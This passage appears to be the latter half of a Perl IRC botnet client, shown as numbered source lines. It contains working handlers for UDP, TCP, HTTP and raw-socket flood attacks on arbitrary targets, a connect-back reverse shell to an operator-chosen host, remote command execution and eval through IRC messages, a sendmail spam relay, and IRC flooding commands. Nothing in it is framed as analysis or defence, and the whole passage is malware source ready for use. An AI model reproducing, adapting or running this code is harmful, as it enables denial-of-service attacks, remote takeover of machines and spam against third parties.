  530.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
  531.         }
  532.         else {
  533.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
  534.         }
  535. }
  536. ##############
  537. if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
  538.     return unless $pacotes;
  539.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  540.     my $alvo=inet_aton("$1");
  541.     my $porta = "$2";
  542.     my $dtime = "$3";
  543.     my $pacote;
  544.     my $pacotese;
  545.         my $size = 0;
  546.     my $fim = time + $dtime;
  547.     my $pacota = 1;
  548.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  549.         while (($pacota == "1") && ($pacotes == "1")) {
  550.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  551.             $pacote = $size ? $size : int(rand(1024-64)+64) ;
  552.             $porta = int(rand 65000) +1 if ($porta == "0");
  553.             #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
  554.             send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
  555.             }
  556.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
  557. }
  558. ##############
  559. if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
  560.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
  561.         my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  562.         $dtime = 1 if $dtime == 0;
  563.         my %bytes;
  564.         $bytes{igmp} = $2 * $pacotes{igmp};
  565.         $bytes{icmp} = $2 * $pacotes{icmp};
  566.         $bytes{o} = $2 * $pacotes{o};
  567.         $bytes{udp} = $2 * $pacotes{udp};
  568.         $bytes{tcp} = $2 * $pacotes{tcp};
  569.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  570. }
  571. ##############
  572. if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
  573.     return unless $pacotes;
  574.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  575.     my $alvo=inet_aton("$1");
  576.     my $porta = "$2";
  577.     my $dtime = "$3";
  578.     my $pacote;
  579.     my $pacotese;
  580.     my $fim = time + $dtime;
  581.     my $pacota = 1;
  582.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  583.         while (($pacota == "1") && ($pacotes == "1")) {
  584.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  585.             $pacote= $rand x $rand x $rand;
  586.             $porta = int(rand 65000) +1 if ($porta == "0");
  587.             send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  588.             }
  589.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  590. }
  591. ##############
  592.  
  593. ##############
  594. if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
  595.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
  596.         my $itime = time;
  597.         my ($cur_time);
  598.         $cur_time = time - $itime;
  599.         while ($3>$cur_time){
  600.         $cur_time = time - $itime;
  601.         &tcpflooder("$1","$2","$3");
  602. }
  603.         sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
  604. }
  605. ##############
  606. if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
  607.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
  608.         my $itime = time;
  609.         my ($cur_time);
  610.         $cur_time = time - $itime;
  611.         while ($2>$cur_time){
  612.         $cur_time = time - $itime;
  613.         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  614.         print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  615.         close($socket);
  616. }
  617.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. ");
  618. }
  619. ##############
  620. if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
  621.         my $host = "$1";
  622.         my $port = "$2";
  623.         my $proto = getprotobyname('tcp');
  624.         my $iaddr = inet_aton($host);
  625.         my $paddr = sockaddr_in($port, $iaddr);
  626.         my $shell = "/bin/sh -i";
  627. if ($^O eq "MSWin32") {
  628.         $shell = "cmd.exe";
  629. }
  630.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
  631.         socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  632.         connect(SOCKET, $paddr) or die "connect: $!";
  633.         open(STDIN, ">&SOCKET");
  634.         open(STDOUT, ">&SOCKET");
  635.         open(STDERR, ">&SOCKET");
  636.         system("$shell");
  637.         close(STDIN);
  638.         close(STDOUT);
  639.         close(STDERR);
  640. }
  641. ##############
  642. if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  643.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
  644.         $subject = $1;
  645.         $sender = $2;
  646.         $recipient = $3;
  647.         @corpo = $4;
  648.         $mailtype = "content-type: text/html";
  649.         $sendmail = '/usr/sbin/sendmail';
  650.         open (SENDMAIL, "| $sendmail -t");
  651.         print SENDMAIL "$mailtype\n";
  652.         print SENDMAIL "Subject: $subject\n";
  653.         print SENDMAIL "From: $sender\n";
  654.         print SENDMAIL "To: $recipient\n\n";
  655.         print SENDMAIL "@corpo\n\n";
  656.         close (SENDMAIL);
  657.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
  658. }
  659. exit;
  660. }
  661. }
  662. ##############
  663. if ($funcarg =~ /^ctcpflood (.*)/) {
  664.     my $target = "$1";
  665.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
  666.         for (1..10) {
  667.         sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
  668.         sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
  669.         }
  670. }
  671. ##############
  672. if ($funcarg =~ /^msgflood (.*)/) {
  673.     my $target = "$1";
  674.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
  675.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  676. }
  677. ##############
  678. if ($funcarg =~ /^noticeflood (.*)/) {
  679.     my $target = "$1";
  680.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
  681.         for (1..2){
  682.         sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  683.         }
  684. }
  685. ##############
  686.  
  687. ##############
  688. sub ircase {
  689. my ($kem, $printl, $case) = @_;
  690.    if ($case =~ /^join (.*)/) {
  691.      j("$1");
  692.    }
  693.    elsif ($case =~ /^part (.*)/) {
  694.       p("$1");
  695.    }
  696.    elsif ($case =~ /^rejoin\s+(.*)/) {
  697.       my $chan = $1;
  698.       if ($chan =~ /^(\d+) (.*)/) {
  699.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  700.           p("$2");
  701.           j("$2");
  702.         }
  703.       } else {
  704.           p("$chan");
  705.           j("$chan");
  706.       }
  707.    }
  708.    elsif ($case =~ /^op/) {
  709.       op("$printl", "$kem") if $case eq "op";
  710.       my $oarg = substr($case, 3);
  711.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  712.    }
  713.    elsif ($case =~ /^deop/) {
  714.       deop("$printl", "$kem") if $case eq "deop";
  715.       my $oarg = substr($case, 5);
  716.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  717.    }
  718.    elsif ($case =~ /^voice/) {
  719.       voice("$printl", "$kem") if $case eq "voice";
  720.       $oarg = substr($case, 6);
  721.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  722.    }
  723.    elsif ($case =~ /^devoice/) {
  724.       devoice("$printl", "$kem") if $case eq "devoice";
  725.       $oarg = substr($case, 8);
  726.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  727.    }
  728.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  729.       msg("$1", "$2");
  730.    }
  731.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  732.       for (my $cf = 1; $cf <= $1; $cf++) {
  733.         msg("$2", "$3");
  734.       }
  735.    }
  736.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  737.       ctcp("$1", "$2");
  738.    }
  739.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  740.       for (my $cf = 1; $cf <= $1; $cf++) {
  741.         ctcp("$2", "$3");
  742.       }
  743.    }
  744.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  745.       invite("$1", "$2");
  746.    }
  747.    elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
  748.        conectar("$2", "$1", "6667");
  749.    }
  750.    elsif ($case =~ /^nick (.*)/) {
  751.       nick("$1");
  752.    }
  753.    elsif ($case =~ /^raw (.*)/) {
  754.       sendraw("$1");
  755.    }
  756.    elsif ($case =~ /^eval (.*)/) {
  757.       eval "$1";
  758.    }
  759.    elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
  760.     sleep int(rand($2));
  761.     j("$1");
  762.    }
  763.    elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
  764.     sleep int(rand($2));
  765.     p("$1");
  766.    }
  767.    elsif ($case =~ /^quit/) {
  768.      quit();
  769.    }
  770. }
  771. ##############
  772. sub shell {
  773. my $printl=$_[0];
  774. my $comando=$_[1];
  775. if ($comando =~ /cd (.*)/) {
  776.         chdir("$1") || msg("$printl", "No such file or directory");
  777.         return;
  778. } elsif ($pid = fork) {
  779.         waitpid($pid, 0);
  780. } else {
  781. if (fork) {
  782.         exit;
  783. } else {
  784. my @resp=`$comando 2>&1 3>&1`;
  785. my $c=0;
  786. foreach my $linha (@resp) {
  787.   $c++;
  788.   chop $linha;
  789.   sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  790.   if ($c == "$linas_max") {
  791.     $c=0;
  792.     sleep $sleep;
  793.   }
  794. }
  795. exit;
  796. }
  797. }
  798. }
  799. ##############
  800. sub udpflooder {
  801. my $iaddr = inet_aton($_[0]);
  802. my $msg = 'A' x $_[1];
  803. my $ftime = $_[2];
  804. my $cp = 0;
  805. my (%pacotes);
  806.         $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  807.         socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  808.         socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  809.         socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  810.         socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  811.         return(undef) if $cp == 4;
  812. my $itime = time;
  813. my ($cur_time);
  814.         while ( 1 ) {
  815. for (my $port = 1;
  816.         $port <= 65000; $port++) {
  817.         $cur_time = time - $itime;
  818. last if $cur_time >= $ftime;
  819.         send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  820.         send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  821.         send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  822.         send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  823. for (my $pc = 3;
  824.         $pc <= 255;$pc++) {
  825. next if $pc == 6;
  826.         $cur_time = time - $itime;
  827. last if $cur_time >= $ftime;
  828.         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  829.         send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  830. }
  831. }
  832. last if $cur_time >= $ftime;
  833. }
  834. return($cur_time, %pacotes);
  835. }
  836. ##############
  837. sub tcpflooder {
  838. my $itime = time;
  839. my ($cur_time);
  840. my ($ia,$pa,$proto,$j,$l,$t);
  841.         $ia=inet_aton($_[0]);
  842.         $pa=sockaddr_in($_[1],$ia);
  843.         $ftime=$_[2];
  844.         $proto=getprotobyname('tcp');
  845.         $j=0;$l=0;
  846.         $cur_time = time - $itime;
  847. while ($l<1000){
  848.         $cur_time = time - $itime;
  849. last if $cur_time >= $ftime;
  850.         $t="SOCK$l";
  851.         socket($t,PF_INET,SOCK_STREAM,$proto);
  852.         connect($t,$pa)||$j--;
  853.         $j++;$l++;
  854. }
  855.         $l=0;
  856. while ($l<1000){
  857.         $cur_time = time - $itime;
  858. last if $cur_time >= $ftime;
  859.         $t="SOCK$l";
  860. shutdown($t,2);
  861.         $l++;
  862. }
  863. }
  864. ##############
  865. sub msg {
  866.    return unless $#_ == 1;
  867.    sendraw("PRIVMSG $_[0] :$_[1]");
  868. }
  869. sub ctcp {
  870.    return unless $#_ == 1;
  871.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  872. }
  873. sub notice {
  874.    return unless $#_ == 1;
  875.    sendraw("NOTICE $_[0] :$_[1]");
  876. }
  877. sub op {
  878.    return unless $#_ == 1;
  879.    sendraw("MODE $_[0] +o $_[1]");
  880. }
  881. sub deop {
  882.    return unless $#_ == 1;
  883.    sendraw("MODE $_[0] -o $_[1]");
  884. }
  885. sub voice {
  886.    return unless $#_ == 1;
  887.    sendraw("MODE $_[0] +v $_[1]");
  888. }
  889. sub devoice {
  890.    return unless $#_ == 1;
  891.    sendraw("MODE $_[0] -v $_[1]");
  892. }
  893. sub j { &join(@_); }
  894. sub join {
  895.    return unless $#_ == 0;
  896.    sendraw("JOIN $_[0]");
  897. }
  898. sub p { part(@_); }
  899. sub part {sendraw("PART $_[0]");}
  900. sub nick {
  901.   return unless $#_ == 0;
  902.   sendraw("NICK $_[0]");
  903. }
  904. sub quit {
  905.   sendraw("QUIT :$_[0]");
  906.   exit;
  907. }
  908. sub modo {
  909.    return unless $#_ == 0;
  910.    sendraw("MODE $_[0] $_[1]");
  911. }
  912. sub mode { modo(@_); }
  913.  
  914. sub invite {
  915.    return unless $#_ == 1;
  916.    sendraw("INVITE $_[1] $_[0]");
  917. }
  918.  
  919. sub topico {
  920.    return unless $#_ == 1;
  921.    sendraw("TOPIC $_[0] $_[1]");
  922. }
  923. sub topic { topico(@_); }
  924.  
  925. sub away {
  926.   sendraw("AWAY $_[0]");
  927. }
  928. sub back { away(); }
  929.  
  930. }
  931.  
  932. ###################
  933. ##### [ EOF ] #####
  934. ###################